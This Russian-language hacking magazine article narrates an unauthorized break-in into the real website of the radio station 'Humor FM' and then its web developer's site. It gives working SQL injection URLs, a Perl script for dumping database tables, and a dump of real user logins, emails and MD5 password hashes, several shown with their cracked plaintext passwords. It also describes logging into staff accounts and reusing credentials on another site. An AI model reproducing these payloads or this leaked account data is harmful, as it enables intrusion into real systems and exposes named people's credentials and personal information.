Пожалуй, в жизни каждого бывают моменты, когда хочется расслабиться или
просто отдохнуть от повседневной рутины. В такой ситуации кто-то на скорую руку
вешает дефейс на сайте приглянувшегося ему хостинга, а кто-то долго и мучительно
флудит телефоны недругов забавными sms’ками. Я же решил просто послушать радио.
Что из этого получилось — читай ниже.

 

Шутки ради

Одним осенним вечером, когда прохлада и слякоть за окном отбивали всякое
желание выбраться на прогулку, я решил пропарсить в Сети несколько радиостанций
на предмет хорошей музыки. Перебирая одно «радио» за другим, я вдруг наткнулся
на любимую многими радиостанцию «Юмор FM» (Диджеям сего радио респект, — Прим.
автора). После нескольких прикольных историй, услышанных в эфире, в моей голове
родилась очередная безумная идея, вследствие которой вещание радиостанции уже
перестало меня интересовать. В окне браузера замелькал Гугл с заголовками «Юмор
FM». Моему взору предстали десятки разнообразных доменов, состоящих из
комбинаций слов «humor»/«yumor» и «fm», но среди прочих выделялся красивый и
явно не дешевый домен www.humor.fm. Как и ожидалось, линк вел на официальный
сайт радиостанции «Юмор FM». Первым делом я по привычке воспользовался сервисом

http://madnet.name/tools/madss
, который выдал следующую информацию по домену
www.humor.fm:

IP: 77.120.97.62
ТИЦ: 30
PR: 3

Кроме того, на сервере хостилось несколько десятков ресурсов, которые,
впрочем, трогать раньше времени не хотелось. Удаленно просканировав сервер, я
получил примерный расклад по открытым портам и запущенным службам, среди которых
значились:

21‑TCP порт — FTP
25‑TCP порт — SMTP
53‑TCP порт — DNS
80‑TCP порт — HTTP
110‑TCP порт — POP3

Увы, но дополнительное сканирование на наличие открытых для чтения каталогов
(с учетом неправильно выставленных чмодов) результатов не дало. Так же, как и не
была найдена админка или хоть какое-то подобие администраторской панели. После
недолгого ковыряния движка, сопровождавшегося изредка встречающимися пассивными
XSS’ками, была успешно опробована формочка восстановления пароля,
располагавшаяся по адресу:

 https://humor.fm/forget/do.4.

Стоит ли говорить, что в полях «Логин» и «E-mail» напрочь отсутствовала
какая-либо фильтрация. Налицо — sql-инъекция, правда, полноценно использовать ее
можно было только при помощи POST-запросов. Погуляв по сайту еще некоторое
время, я обнаружил достаточно удобную sql-инъекцию в параметре сообщения об
ошибке в скрипте логина. Причем, бага была явной, — всю ругань СУБД на
неправильно сконструированный запрос я мог отчетливо наблюдать на своем
мониторе:

DEBUG MODE
SQL Error 1064: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server
version for the right syntax to use near '' AND id_lng
='1'' at line 1
SQL: SELECT text FROM db_strings WHERE alias = 'здесь_
наш_запрос' AND id_lng ='1'
FILE: /kernel/modules/CPage.php
LINE: 93
FUNCTION: row_select

Поле адресной строки для внедрения скул-запроса выглядело следующим образом:

http://humor.fm/login/?error=-1’+union+select+table_name+from+information_schema.tables+limit+1,1%23.

Благо, на сервере крутилась пятая версия мускула, и я без труда мог шарить по
интересующим меня табличкам. Однако количество таблиц в information_schema
зашкаливало за несколько десятков, что сулило не один час работы. Немного
отредактировал собственный скул-граббер:

#!/usr/bin/perl
print "= SQL-injection Grabber =\n";
use LWP::Simple qw(get);
open(F, '>E:\Perl\result.txt');
$z=0;
for ($i=1;$i<=50;$i++){
open(C, '>count.txt');
$url="http://humor.fm/login/?error=-1'+union+select
+concat(char(94),table_name,char(94))+from+information
_schema.tables+limit+$i,1%23";
$cont=get($url);
print F $cont."\n";
$z=$z+1;
print C $z;
close C;
}
close F;
print "= DONE =\n";
print $z;

После чего я запустил скрипт и отправился спать.

 

Веселье продолжается

Проснувшись и отпарсив лог скул-граббера, я получил список названий табличек
(часть записей):

db_cat, db_chunks, db_cms_log, db_count, db_dest_cities, db_dest_countries,
db_dest_provinces, db_faq, db_faq_copy, db_faq_strings, db_group, db_lng,
db_mail, db_mail_resume, db_mail_strings, db_mail_strings_copy, db_menu, db_news,
db_news_copy, db_news_tree, db_permit, db_press, db_search_strings, db_sessions,
db_strings, db_templates, db_templates_copy, db_user, db_user_dealers_info,
db_user_dealers_info_copy, db_user_strings, db_user_visotors_info,
db_user_visotors_ info_copy

В первую очередь, меня интересовала таблица db_user, содержимое которой я
просматривал уже через несколько минут:

http://humor.fm/login/?error=-1'+union+select+concat(login,char(58),email,char(58),password)+from+db_user+limit+1,1%23
http://humor.fm/login/?error=-1'+union+select+concat(login,char(58),email,char(58),password)+from+db_user+where+login=%22admin%22%23

Таким образом, была найдена учетная запись админа:

admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac

Увы, но вместо пароля в базе хранились мд5‑хэши. Поэтому, так же как и в
случае с табличками, я решил слить всю базу пользователей (около 600 записей)
при помощи sql-граббера для последующего детального анализа (Часть записей, —
Прим. автора):

cappy:cappy@mail.ru:168416487b5b0dea3478992a914c7706
qwas:qwas@idea.net.ua:c8e25115addeda1656b52cfbe7b2b780
Joker:joker@idea.net.ua:589ca240c5222730de730b7013c3b9b6
kamrad:kamrad@gala.net:127b177747ce8b42cf37a001e411a71d
hahameled:hahameled@hotmail.com:1c59b1c8630c397d34c9a7f74cc8b8cd
Decoy:decoy@idea.net.ua:b882e3b467d649792fc4c0cc49592e90
Chris:v_sysoyenko@mail.ru:f4564b3036cf120eb74c2a9f7877ab34
admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac
kerber:kerber@idea.net.ua:58acb17af943b7218bca87690910c555
lora:support@idea.net.ua:174c94f5c7f5a11941cab1d8069bf820
vitaly:vitaly@idea.net.ua:349a096f2d6df52cc0b4d5d43ba32e6f
maverick:kgbdon@mail.ru:ef9156a75c96dbc0896bb8ee8388f0ef
Denis:name05@mail.ru:25f9e794323b453885f5181f1b624d0b
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6c653f7c0b0
lesha:l.dontsov@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
nastia::a398fb77df76e6153df57cd65fd0a7c5
andrey::a398fb77df76e6153df57cd65fd0a7c5
vezde::a398fb77df76e6153df57cd65fd0a7c5
makar:makar3000@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
inga:privet@humor.fm:a398fb77df76e6153df57cd65fd0a7c5
Energy:ilko_93@mail.ru:28a34010e84b881fb087359c7e280a08
mandbat:mandbat@mail.ru:9246fe90c455dd8e3431c3b59dae6ed1
Lotos:lotos811@mail.ru:992f71412b41f71623ab6e083dec29a9
vasiliy:pravo7@pochta.ru:5ed58b3456c67b0cb260e14eaa58f24b
Vlados:vlados7@yandex.ru:67a70698218034437e4f1534600c9fb2
AL@X:adece@yandex.ru:c9324104045e1ed3e067b5bf8f063e5f

Порывшись среди аккаунтов, я выбрал наиболее ценные и отправился на известный
ресурс http://passcracking.ru
с целью сбрутить парочку-другую паролей. Как ни странно, мне это удалось, в
результате чего в моих руках оказалось несколько аппетитных акков менеджеров и
диджеев радио-станции «Юмор FM»:

lora:support@idea.net.ua:174c94f5c7f5a11941c
ab1d8069bf820 — lora
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6
c653f7c0b0 — werty
inga:privet@humor.fm:a398fb77df76e6153df57cd
65fd0a7c5 — radio
Smile:office@humor.fm:6074c6aa3488f3c2dddff2
a7ca821aab — 5555
lesha:l.dontsov@mail.ru:a398fb77df76e6153df5
7cd65fd0a7c5 — radio

Выбрав аккаунт одного из диджеев:

логин: lesha
пароль: radio

я без труда залогинился на сайте и получил полноценный доступ к профилю/почте
и прочим вкусностям :). Погуляв по сайту под разными аккаунтами, я вспомнил о
своем желании немного поглумиться. Но портить содержимое сайта в мои планы не
входило, посему я уже было собирался удаляться, когда мне на глаза попались
строчки: «Разработка и поддержка: Дизайн-студия «Идея». В глубине души что-то
подсказывало мне, что стоит навестить сию контору в поисках новых, гхм,
«приключений».

 

Делу время, потехе — час

Сайт студии девелоперов, наклепавших движок для «Юмор FM», располагался по
адресу www.idea.net.ua. Как оказалось, на сайте присутствовала форма логина
юзеров:

Главная

Некоторые из слитых мной аккаунтов из базы «Юмор FM», содержащие мыла вида «support@idea.net.ua»,
успешно подошли и на сайте девелоперов. Ресурс содержал раздел «Портфолио», в
котором публиковались линки на уже готовые проекты, коих насчитывалось порядка
200. Кроме уже похаканного «Юмор FM», мое внимание привлекли такие ресурсы, как
официальный сайт ФК «Шахтер», сайт журнала «Авто.UA Тюнинг» и много чего еще.
Кстати, среди проектов я отыскал сайты двух популярных радиостанций — «Европа +»
и «Авторадио». Но, как говорится, это уже совсем другая история...

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!



Полную версию статьи
читай в ноябрьском номере
Хакера! На нашем DVD ты найдешь полное видео по взлому сайта
радиостанции «Юмор FM». Смотри внимательно.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии